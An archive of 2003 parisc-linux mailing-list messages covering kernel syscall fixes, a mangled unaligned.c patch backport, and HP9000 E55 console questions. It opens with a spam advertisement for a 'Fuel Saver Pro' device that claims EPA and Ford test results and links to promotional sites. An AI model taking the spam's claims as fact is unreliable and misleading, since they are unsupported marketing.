From - Thu Nov 08 21:29:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jerald Michaud" <832sdpc@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Boost Your  Car's Gas Mileage 27%+.....dutch
Date: Fri, 31 Oct 2003 10:54:32 -0200
Lines: 67
Approved: news@gmane.org
Message-ID: <d72b0urr$d5a2f108j8d@mp425hpg>
Reply-To: "Jerald Michaud" <832sdpc@yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="7FFE0F5EB2C_9.6A_FAB1"
X-Trace: ger.gmane.org 1416622919 877 80.91.229.3 (22 Nov 2014 02:21:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:59 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 31 08:55:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 192.25.206.7 (unknown [200.82.37.237])
	by dsl2.external.hp.com (Postfix) with SMTP id E6313483E
	for <parisc-linux@parisc-linux.org>; Fri, 31 Oct 2003 08:55:38 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19964

--7FFE0F5EB2C_9.6A_FAB1
Content-Type: text/plain;
Content-Transfer-Encoding: quoted-printable

FUEL SAVER PRO

This revolutionary device Boosts Gas Mileage 27%+ by helping fuel burn bet=
ter using three patented processes from General Motors.

Take a test drive Today - http://www.llat.org?axel=3D49

PROVEN TECHNOLOGY
A certified U.S. Environmental Protection Agency (EPA) laboratory recently=
 completed tests on the new Fuel Saver. The results were astounding! Maste=
r Service, a subsidiary of Ford Motor Company, also conducted extensive em=
issions testing and obtained similar, unheard of results. The achievements=
 of the Fuel Saver is so noteworthy to the environmental community, that C=
ommercial News has featured it as their cover story in their June, 2000 ed=
ition.

Take a test drive Today - http://www.llat.org?axel=3D49






No more advertisements, thanks - http://www.aqmp.net/out5s/rem2e.asp































w m sqocnsbgt lnr  asfy
 o fq
w
s y

--7FFE0F5EB2C_9.6A_FAB1--



From - Thu Nov 08 21:29:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] what's up with the ipc syscalls?
Date: Sat, 1 Nov 2003 00:24:51 -0800
Lines: 24
Approved: news@gmane.org
Message-ID: <20031101082451.GJ28967@tausq.org>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622919 878 80.91.229.3 (22 Nov 2014 02:21:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  1 01:20:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0AA8E483E
	for <parisc-linux@lists.parisc-linux.org>; Sat,  1 Nov 2003 01:20:16 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 9D8DBCD2F8; Sat,  1 Nov 2003 00:24:51 -0800 (PST)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19965

in our syscall table, semctl, msgctl and shmctl are marked as "broken".
Does anybody know what's up with that?

i did a simple hack, which is to replace

        return sys_msgctl (msqid, cmd & ~IPC_64, buf);

with 

        return sys_msgctl (msqid, cmd | IPC_64, buf);

in sys_parisc.c, and at least in some simple tests it seems to work
(whereas the original one was really broken)

haven't tested it very much yet.... a similar hack for semctl doesn't
seem to work. haven't investigated more yet.. but wanted to know if
others can shed light on what was the problems there....

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:29:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] backport unaligned.c Randolph patch
Date: Sat, 01 Nov 2003 16:32:39 +0000
Lines: 66
Approved: news@gmane.org
Message-ID: <3FA3E027.3030409@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622919 880 80.91.229.3 (22 Nov 2014 02:21:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:59 +0000 (UTC)
To: Randolph Chung <randolph@tausq.org>,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  1 09:32:42 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id D207F483E
	for <parisc-linux@parisc-linux.org>; Sat,  1 Nov 2003 09:32:41 -0700 (MST)
Original-Received: from [62.235.121.85] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AFyg4-0003wE-LV; Sat, 01 Nov 2003 17:32:40 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031024 Debian/1.5-2
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19966

Hi Randolph,

Here is the backport of your unaligned.c patch:

=====
--- unaligned.c.SAV     2003-11-01 15:26:14.000000000 +0000
+++ unaligned.c 2003-11-01 15:26:04.000000000 +0000
@@ -24,24 +24,6 @@
  #include <linux/config.h>
  #include <linux/sched.h>
  #include <linux/kernel.h>
-#include <linux/string.h>
-#include <linux/errno.h>
-#include <linux/ptrace.h>
-#include <linux/timer.h>
-#include <linux/mm.h>
-#include <linux/smp.h>
-#include <linux/smp_lock.h>
-#include <linux/spinlock.h>
-#include <linux/init.h>
-#include <linux/interrupt.h>
-#include <asm/system.h>
-#include <asm/uaccess.h>
-#include <asm/io.h>
-#include <asm/irq.h>
-#include <asm/atomic.h>
-
-#include <asm/smp.h>
-#include <asm/pdc.h>

  /* #define DEBUG_UNALIGNED 1 */

@@ -493,37 +475,6 @@
         struct siginfo si;
         register int flop=0;    /* true if this is a flop */

-       /* if the unaligned access is inside the kernel:
-        *   if the access is caused by a syscall, then we fault the calling
-        *     user process
-        */
-       if (!user_mode(regs))
-       {
-               const struct exception_table_entry *fix;
-
-               /* see if the offending code have its own
-                * exception handler
-                */
-
-               fix = search_exception_table(regs->iaoq[0]);
-               if (fix)
-               {
-                       /* lower bits of fix->skip are flags
-                        * upper bits are the handler addr
-                        */
-                       if (fix->skip & 1)
-                               regs->gr[8] = -EFAULT;
-                       if (fix->skip & 2)
-                               regs->gr[9] = 0;
-
-                       regs->iaoq[0] += ((fix->skip) & ~3);
-                       regs->iaoq[1] = regs->iaoq[0] + 4;
-                       regs->gr[0] &= ~PSW_B;
-
-                       return;
-               }
-       }

From - Thu Nov 08 21:29:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: backport unaligned.c Randolph patch
Date: Sat, 1 Nov 2003 09:32:15 -0800
Lines: 11
Approved: news@gmane.org
Message-ID: <20031101173215.GL28967@tausq.org>
References: <3FA3E027.3030409@tiscali.be>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622920 882 80.91.229.3 (22 Nov 2014 02:22:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:00 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  1 10:28:48 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id E1475483E
	for <parisc-linux@parisc-linux.org>; Sat,  1 Nov 2003 10:28:47 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 78CC5CD2F8; Sat,  1 Nov 2003 09:32:15 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <3FA3E027.3030409@tiscali.be>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19967

> Here is the backport of your unaligned.c patch:

I think your mailer munged your patch, it doesn't apply cleanly. i've
applied a cleaned up version of your patch to 2.4.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:29:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jean-marc Harang <jean-marc.harang@laposte.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Service handbook for HP9000 856 E55
Date: Sat, 1 Nov 2003 19:19:06 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20031101191906.6800e801.jean-marc.harang@laposte.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622920 884 80.91.229.3 (22 Nov 2014 02:22:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:00 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  1 11:19:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from montperdu.pyrene.net (jmharang.net1.nerim.net [62.212.119.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7CE32483E
	for <parisc-linux@parisc-linux.org>; Sat,  1 Nov 2003 11:19:09 -0700 (MST)
Original-Received: from montperdu.pyrene.net (localhost [127.0.0.1])
	by montperdu.pyrene.net (Postfix) with SMTP id E4D612C95E
	for <parisc-linux@parisc-linux.org>; Sat,  1 Nov 2003 19:19:06 +0100 (CET)
X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19968

Hello,

I look for this service handbook whithout any success. Could someone send me the
relevant file, please ? Thanks you !

Bests regards,

A+
Batou.

--
http://www.montsbrumeux.org


From - Thu Nov 08 21:29:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jean-marc Harang <jean-marc.harang@laposte.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Console on HP 9000 E55
Date: Sat, 1 Nov 2003 20:09:41 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20031101200941.5c474aba.jean-marc.harang@laposte.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622920 887 80.91.229.3 (22 Nov 2014 02:22:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:00 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  1 12:09:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from montperdu.pyrene.net (jmharang.net1.nerim.net [62.212.119.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2DA86483E
	for <parisc-linux@parisc-linux.org>; Sat,  1 Nov 2003 12:09:51 -0700 (MST)
Original-Received: from montperdu.pyrene.net (localhost [127.0.0.1])
	by montperdu.pyrene.net (Postfix) with SMTP id 56C0A2C964
	for <parisc-linux@parisc-linux.org>; Sat,  1 Nov 2003 20:09:41 +0100 (CET)
X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19969

Hello,

Up to now, the server successfully boots on the original HP-UX. But we have no
access to any console on MDP 9-pin DB9. The other connector called DDP is not
equiped with the patch panel :/. 

Any hint to access to serial console ?


Thanks,

jm. Harang



From - Thu Nov 08 21:29:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: backport unaligned.c Randolph patch
Date: Sat, 1 Nov 2003 12:30:06 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <20031101193006.GA26372@colo.lackof.org>
References: <3FA3E027.3030409@tiscali.be> <20031101173215.GL28967@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622920 894 80.91.229.3 (22 Nov 2014 02:22:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:00 +0000 (UTC)
Cc: Joel Soete <soete.joel@tiscali.be>, parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  1 12:30:09 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 10BF0483E
	for <parisc-linux@parisc-linux.org>; Sat,  1 Nov 2003 12:30:09 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id D20C729804B; Sat,  1 Nov 2003 12:30:06 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 26190-04; Sat, 1 Nov 2003 12:30:06 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 42DCB298049; Sat,  1 Nov 2003 12:30:06 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20031101173215.GL28967@tausq.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19970

On Sat, Nov 01, 2003 at 09:32:15AM -0800, Randolph Chung wrote:
> I think your mailer munged your patch, it doesn't apply cleanly. i've
> applied a cleaned up version of your patch to 2.4.

Was the intent to add new code?
The patch was reversed it seems too.

grant


From - Thu Nov 08 21:29:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jean-marc Harang <jean-marc.harang@laposte.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Console on HP 9000 E55
Date: Sat, 1 Nov 2003 22:34:09 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20031101223409.44119ba9.jean-marc.harang@laposte.net>
References: <20031101200941.5c474aba.jean-marc.harang@laposte.net>
	<200311011959.hA1Jxxi29314@opus.allegro.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622921 906 80.91.229.3 (22 Nov 2014 02:22:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:01 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  1 14:34:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from montperdu.pyrene.net (jmharang.net1.nerim.net [62.212.119.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0BB37483E
	for <parisc-linux@parisc-linux.org>; Sat,  1 Nov 2003 14:34:12 -0700 (MST)
Original-Received: from montperdu.pyrene.net (localhost [127.0.0.1])
	by montperdu.pyrene.net (Postfix) with SMTP id 112862C95E
	for <parisc-linux@parisc-linux.org>; Sat,  1 Nov 2003 22:34:09 +0100 (CET)
In-Reply-To: <200311011959.hA1Jxxi29314@opus.allegro.com>
X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19971

Le Sat, 1 Nov 2003 11:59:59 -0800 (PST)
Stan Sieler <sieler@allegro.com> a =E9crit:

> Hi,
>=20
> What card on the HP 9000/E35 are you trying to use with a console port?
> (And, which connector (and: male/female, round or 9 pin or 25 pin or ?))
>=20
> (I know the questions may be obvious to you, but there are several=20
> possibilities ... knowing which you're trying to do may help me answer yo=
u.)
>=20
> > Up to now, the server successfully boots on the original HP-UX. But we =
have
> > no access to any console on MDP 9-pin DB9. The other connector called D=
DP is
> > not equiped with the patch panel :/.=20
>=20
> Yes, I've got an E35 here (running HP-UX).
>=20

I use the APMUX port (the only one on the E55 I/O board), with the cable ref
A1703-63009. At one end with high-density connector for APMUX and at the ot=
her
ends one DB9 called MDP and something like big centronics called DDP (for t=
he
patch panel i don't own). So i try the MDP port without result.

Thanks

A+
jm. Harang



From - Thu Nov 08 21:29:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: backport unaligned.c Randolph patch
Date: Sat, 01 Nov 2003 21:46:29 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <3FA429B5.7000805@tiscali.be>
References: <3FA3E027.3030409@tiscali.be> <20031101173215.GL28967@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622921 935 80.91.229.3 (22 Nov 2014 02:22:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:01 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  1 14:46:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 678FE483E
	for <parisc-linux@parisc-linux.org>; Sat,  1 Nov 2003 14:46:30 -0700 (MST)
Original-Received: from [62.235.120.116] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AG3Zl-0007fO-Ib; Sat, 01 Nov 2003 22:46:29 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031024 Debian/1.5-2
X-Accept-Language: en
In-Reply-To: <20031101173215.GL28967@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19972


Randolph Chung wrote:
>>Here is the backport of your unaligned.c patch:
> 
> 
> I think your mailer munged your patch, it doesn't apply cleanly.
I don't think that mozilla was the cause but well my 'cut and past' 
method :(, sorry.

> i've
> applied a cleaned up version of your patch to 2.4.
> 
> randolph
Thanks a lot,
	Joel



From - Thu Nov 08 21:29:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] evolution (1.4.5-1) 'protection id trap' [was:
	do_page_fault?]
Date: Sat, 01 Nov 2003 23:27:20 +0000
Lines: 79
Approved: news@gmane.org
Message-ID: <1067729239.794.8.camel@sid.debian.home>
References: <3F8A272E00004AD1@ocpmta3.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622922 946 80.91.229.3 (22 Nov 2014 02:22:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:22:02 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  1 16:27:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 58F4C483E
	for <parisc-linux@parisc-linux.org>; Sat,  1 Nov 2003 16:27:21 -0700 (MST)
